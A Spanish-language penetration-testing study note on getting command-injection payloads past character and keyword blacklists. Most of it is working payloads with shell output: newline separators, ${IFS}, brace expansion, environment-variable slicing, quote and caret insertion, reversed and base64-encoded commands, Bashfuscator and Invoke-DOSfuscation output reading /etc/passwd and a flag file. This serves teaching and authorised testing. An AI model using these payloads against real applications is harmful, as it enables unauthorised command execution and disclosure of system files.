Skip to content

Command Injection — Filter Evasion

Cuando una aplicación filtra caracteres o palabras específicas para prevenir command injection, existen múltiples técnicas para evadir esos filtros, dependiendo de qué exactamente esté bloqueado: separadores de comandos, espacios, o los propios nombres de los comandos/binarios.

Filtros basados en lista negra de caracteres

Ejemplo de filtro típico (bloquea los separadores de comandos más comunes):

php
$blacklist = ['&', '|', ';', ...SNIP...];
foreach ($blacklist as $character) {
    if (strpos($_POST['ip'], $character) !== false) {
        echo "Invalid input";
    }
}
  • Este tipo de filtro es frágil porque depende de enumerar todos los caracteres peligrosos posibles; basta con un carácter equivalente no contemplado (salto de línea, %0a, subshells) para evadirlo por completo.

Separadores alternativos que a veces no están en la lista negra:

c
%0a         (salto de línea URL-encoded)
$(comando)  (subshell)
`comando`   (backticks)

Evasión de filtros de espacios

Cuando el filtro bloquea específicamente el carácter espacio (), pero no otros separadores de campos válidos para el shell:

Salto de línea + tabulación

c
127.0.0.1%0a whoami
127.0.0.1%0a%09
  • %0a (salto de línea) actúa como separador de comandos; %09 (tabulación) puede sustituir al espacio como separador de argumentos en muchos shells.

Variable de entorno $IFS (Internal Field Separator)

c
${IFS}
127.0.0.1%0a${IFS}
  • $IFS contiene, por defecto, el espacio (y tabulación/salto de línea) como caracteres separadores de campos en bash — al expandirse ${IFS}, el shell lo reemplaza literalmente por un espacio, evadiendo cualquier filtro que busque el carácter espacio de forma literal en el string de entrada.

Expansión de llaves (Brace Expansion)

c
127.0.0.1%0a{ls,-la}
c
$ {ls,-la}

total 0
drwxr-xr-x 1 21y4d 21y4d   0 Jul 13 07:37 .
drwxr-xr-x 1 21y4d 21y4d   0 Jul 13 13:01 ..
  • La sintaxis {comando,arg1,arg2} de bash expande cada elemento separado por comas como un argumento independiente, sin necesidad de ningún espacio literal en el payload.

Extracción de un espacio desde una variable de entorno existente (Linux)

Cuando ni $IFS ni la expansión de llaves están disponibles (por ejemplo, si el filtro también bloquea {/}/$), se puede extraer un carácter espacio de una variable de entorno que ya lo contiene, usando slicing de bash:

c
$ echo ${PATH}

/usr/local/bin:/usr/bin:/bin:/usr/games
c
$ echo ${PATH:0:1}

/
c
$ echo ${LS_COLORS:10:1}

;
c
127.0.0.1${LS_COLORS:10:1}${IFS}
  • La sintaxis ${VARIABLE:offset:longitud} extrae un substring de la variable — se puede usar sobre cualquier variable de entorno predecible para obtener casi cualquier carácter necesario (espacio, punto y coma, barra, etc.) sin escribirlo literalmente en el payload.

Extracción de un carácter en Windows (cmd/PowerShell)

cmd-session
> echo %HOMEPATH:~6,-11%

\
powershell-session
> $env:HOMEPATH[0]

\

PS C:\> $env:PROGRAMFILES[10]
PS C:\>
  • La sintaxis %VARIABLE:~inicio,longitud% en cmd.exe y la indexación $env:VARIABLE[indice] en PowerShell cumplen el mismo propósito que el slicing de bash: extraer un carácter específico de una variable de entorno del sistema para evadir un filtro sobre ese carácter literal.

Character Shifting (desplazamiento de caracteres ASCII)

Técnica para obtener un carácter bloqueado transformándolo a partir de otro carácter permitido, usando su posición en la tabla ASCII:

c
$ man ascii     # \ está en la posición 92, justo antes está [ en la 91
$ echo $(tr '!-}' '"-~'<<<[)

\
  • tr '!-}' '"-~' desplaza cada carácter del rango ! a } una posición hacia adelante en la tabla ASCII — al pasarle [ (91), devuelve \ (92). Útil cuando el propio carácter objetivo (\, backslash) está bloqueado, pero el carácter anterior en la tabla ASCII no lo está.

Evasión de comandos en lista negra (bloqueo por nombre de comando)

Cuando el filtro no bloquea caracteres especiales, sino nombres de comandos específicos (whoami, cat, nc, etc.) mediante coincidencia de texto:

Comillas intercaladas (funciona en Linux y Windows/cmd)

c
w'h'o'am'i

21y4d
c
w"h"o"am"i

21y4d
c
127.0.0.1%0aw'h'o'am'i
  • El shell concatena los fragmentos entre comillas (vacías de efecto propio, solo agrupan) y reconstruye el nombre del comando original en tiempo de ejecución — la cadena literal whoami nunca aparece en el payload enviado, evadiendo filtros de coincidencia de texto simple.

Solo Linux: $@ y backslash

bash
who$@ami
w\ho\am\i
  • $@ se expande a una cadena vacía cuando no hay argumentos posicionales, "partiendo" el nombre del comando sin alterar su ejecución.
  • El backslash antes de una letra (\h, \o, etc.) es interpretado por bash como un carácter de escape sin efecto especial sobre letras normales, por lo que el comando se reconstruye igual de forma transparente.

Solo Windows (cmd.exe)

cmd-session
> who^ami

21y4d
  • El acento circunflejo (^) es el carácter de escape de cmd.exe; colocado antes de un carácter sin significado especial no tiene efecto sobre la ejecución, pero rompe la coincidencia literal del string whoami.

Ofuscación avanzada de comandos

Cambios de mayúsculas/minúsculas

powershell-session
> WhOaMi

21y4d
  • Tanto cmd.exe como PowerShell (y muchos shells Unix, dependiendo del binario) son insensibles a mayúsculas/minúsculas en el nombre del comando — variar el casing evade filtros de coincidencia exacta sensible a mayúsculas.
shell-session
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")

21y4d
bash
$(a="WhOaMi";printf %s "${a,,}")
  • Ambos ejemplos normalizan un comando escrito con mayúsculas/minúsculas mezcladas (que evade el filtro de texto original) de vuelta a minúsculas en tiempo de ejecución, antes de invocarlo.

Comandos invertidos (Reversed)

shell-session
$ echo 'whoami' | rev
imaohw
shell-session
$(rev<<<'imaohw')

21y4d
powershell-session
> "whoami"[-1..-20] -join ''

imaohw
powershell-session
> iex "$('imaohw'[-1..-20] -join '')"

21y4d
  • Se envía el comando escrito al revés (que no coincide con ninguna firma de la lista negra), y se revierte en tiempo de ejecución justo antes de invocarlo con rev (Linux) o slicing negativo + iex (PowerShell, "Invoke-Expression").

Comandos codificados (Base64 / UTF-16)

Codificación en Linux:

c
$ echo -n 'cat /etc/passwd | grep 33' | base64

Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==
c
$ bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  • El payload transmitido es una cadena base64 que no contiene ninguno de los caracteres/palabras bloqueados; se decodifica y ejecuta directamente en el propio shell de destino.

Codificación en Windows (PowerShell usa UTF-16LE + Base64 para su parámetro -EncodedCommand):

powershell-session
> [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))

dwBoAG8AYQBtAGkA
c
$ echo -n whoami | iconv -f utf-8 -t utf-16le | base64

dwBoAG8AYQBtAGkA
powershell-session
> iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"

21y4d
  • El primer comando genera el payload codificado (normalmente se haría desde la máquina atacante, no la víctima); el segundo bloque muestra cómo generar el mismo valor desde Linux con iconv si no se dispone de un entorno Windows a mano; el tercero es el que se inyectaría en el objetivo para decodificar y ejecutar.
  • PowerShell también acepta directamente el flag -EncodedCommand/-e con una cadena Base64 UTF-16LE como argumento de línea de comandos completo, sin necesidad de iex — útil si el vector de inyección permite invocar powershell.exe con argumentos propios.

Herramientas de evasión automatizada

Linux — Bashfuscator

Genera automáticamente versiones ofuscadas de un comando, combinando varias de las técnicas anteriores (y otras adicionales) de forma aleatoria:

c
❯ git clone https://github.com/Bashfuscator/Bashfuscator
❯ cd Bashfuscator
❯ pip3 install setuptools==65
❯ python3 setup.py install --user
c
❯ cd ./bashfuscator/bin/
❯ ./bashfuscator -h

usage: bashfuscator [-h] [-l] ...SNIP...

optional arguments:
  -h, --help            show this help message and exit

Program Options:
  -l, --list            List all the available obfuscators, compressors, and encoders
  -c COMMAND, --command COMMAND
                        Command to obfuscate
...SNIP...

Generar un payload ofuscado con el máximo de capas por defecto:

c
❯ ./bashfuscator -c 'cat /etc/passwd'

[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
 ${*/+27\[X\(} ...SNIP...  ${*~}   
[+] Payload size: 1664 characters

Generar un payload más corto y legible, limitando severidad/capas (útil cuando el campo de entrada tiene un límite de longitud):

c
❯ ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1

[+] Mutators used: Token/ForCode
[+] Payload:
eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"
[+] Payload size: 104 characters
  • -s / -t : controlan la "severidad" (complejidad) del stub y de los tokens generados, respectivamente — valores más bajos generan payloads más cortos y simples, útiles para inyecciones con límite de caracteres.
  • --no-mangling : desactiva ofuscación adicional del propio código generado, dejándolo más legible/corto.
  • --layers : cuántas capas de ofuscación anidada aplicar.

Verificación local del payload generado:

c
❯ bash -c 'eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'

root:x:0:0:root:/root:/bin/bash
...SNIP...

Windows — Invoke-DOSfuscation

Equivalente a Bashfuscator para cmd.exe/PowerShell:

powershell-session
PS C:\> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\> cd Invoke-DOSfuscation
PS C:\> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\> Invoke-DOSfuscation
Invoke-DOSfuscation> help

HELP MENU :: Available options shown below:
[*]  Tutorial of how to use this tool             TUTORIAL
...SNIP...

Choose one of the below options:
[*] BINARY      Obfuscated binary syntax for cmd.exe & powershell.exe
[*] ENCODING    Environment variable encoding
[*] PAYLOAD     Obfuscated payload via DOSfuscation

Ejemplo generando una versión ofuscada de un comando específico usando encoding de variables de entorno (la misma técnica de slicing vista más arriba, pero automatizada):

powershell-session
Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation\Encoding> 1

...SNIP...
Result:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt

Verificación local del payload generado:

cmd-session
C:\> typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt

test_flag

Notas de metodología

  • Antes de recurrir a herramientas de ofuscación automatizada, conviene entender manualmente cuál de las técnicas anteriores evade el filtro específico del objetivo — un payload más simple y corto es preferible cuando funciona, ya que reduce la probabilidad de romper por límites de longitud del campo o peculiaridades del parser.
  • Combinar varias técnicas suele ser necesario en la práctica: por ejemplo, evadir el filtro de espacios con ${IFS} y evadir el filtro de nombres de comando con comillas intercaladas en el mismo payload.
  • Documentar en el reporte qué técnica específica evadió el filtro (no solo el payload final) ayuda al equipo de desarrollo a entender la debilidad raíz del control implementado, en vez de solo "parchear" el payload puntual que se usó.